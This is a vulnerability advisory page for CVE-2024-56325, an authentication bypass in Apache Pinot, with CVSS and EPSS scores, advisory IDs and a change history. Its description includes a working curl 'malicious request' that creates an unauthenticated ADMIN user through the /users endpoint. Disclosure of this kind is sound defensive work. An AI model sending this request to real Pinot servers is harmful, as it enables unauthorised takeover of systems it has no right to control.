CVE-2024-56325

Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

Published Apr 1, 2025 CVSS 3.1 · 9.8 Critical EPSS 80.2% KEV · Not listed
Description
Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users


Return: {"code":401,"error":"HTTP 401 Unauthorized"}


Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .


Return: {"users":{}}





A new user gets added bypassing authentication, enabling the user to control Pinot.

Remediation

No solution or workaround provided in the CVE record

Tracking

Sign in to view the affected projects.

Advisories

Source ID Title
EUVD EUVD EUVD-2025-9317 Apache Pinot Vulnerable to Authentication Bypass
Github GHSA Github GHSA GHSA-6jwp-4wvj-6597 Apache Pinot Vulnerable to Authentication Bypass
History
Type Values Removed Values Added
Metrics epss

{'score': 0.05128}

epss

{'score': 0.04959}

Type Values Removed Values Added
First Time appeared Apache
Apache pinot
CPEs cpe:2.3:a:apache:pinot:*:*:*:*:*:*:*:*
Vendors & Products Apache
Apache pinot
Type Values Removed Values Added
Metrics cvssV3_1

{'score': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}

ssvc

{'options': {'Automatable': 'yes', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}

Type Values Removed Values Added
Description Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
Title Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required
Weaknesses CWE-288
References
Weaknesses

Sources

Status
PUBLISHED
Assigner
apache
Published
Updated
Oct 27, 2025, 5:11 PM
Reserved
Dec 19, 2024, 2:28 PM
Status
Analyzed
Published
Apr 1, 2025, 9:15 AM
Modified
Jun 17, 2026, 8:12 AM